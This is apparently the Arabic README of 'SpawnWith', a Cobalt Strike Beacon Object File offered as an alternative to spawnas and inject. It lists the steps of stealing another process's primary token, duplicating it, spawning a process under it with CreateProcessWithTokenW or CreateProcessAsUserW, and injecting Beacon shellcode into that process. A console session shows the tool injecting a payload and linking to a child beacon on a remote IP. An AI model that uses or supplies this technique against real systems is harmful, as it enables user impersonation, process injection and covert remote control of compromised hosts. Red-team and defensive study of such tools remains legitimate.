SpawnWith

SpawnWith

ملف كائن Beacon تجريبي (BOF) يوفر بديلًا لأمرَي spawnas و inject. يعرض هذا الملف أمرًا جديدًا، spawn_with [pid] [listener]، يقوم بما يلي:

1. الحصول على مقبض للعملية الهدف.
2. الحصول على مقبض للرمز المميز الأساسي للعملية.
3. تكرار الرمز المميز الأساسي إلى رمز تمثيل.
4. الحصول على قيمة spawnto الخاصة بـ Beacon.
5. محاولة إنشاء عملية جديدة بالرمز المميز المكرر باستخدام CreateProcessWithTokenW.
   • إذا فشلت هذه المحاولة، جرّب CreateProcessAsUserW.
6. حقن شيل كود Beacon في العملية المنشأة.
   • الارتباط بـ Beacon في حالة P2P.

مثال

beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)

beacon> ps
22656 21972 wordpad.exe   x64   1   DESKTOP-1U6AHIU\test_user

beacon> spawnto x64 %windir%\sysnative\notepad.exe

beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:

Spawned PID 45668 and injected 297472 bytes

[+] established link to child beacon: 192.168.0.195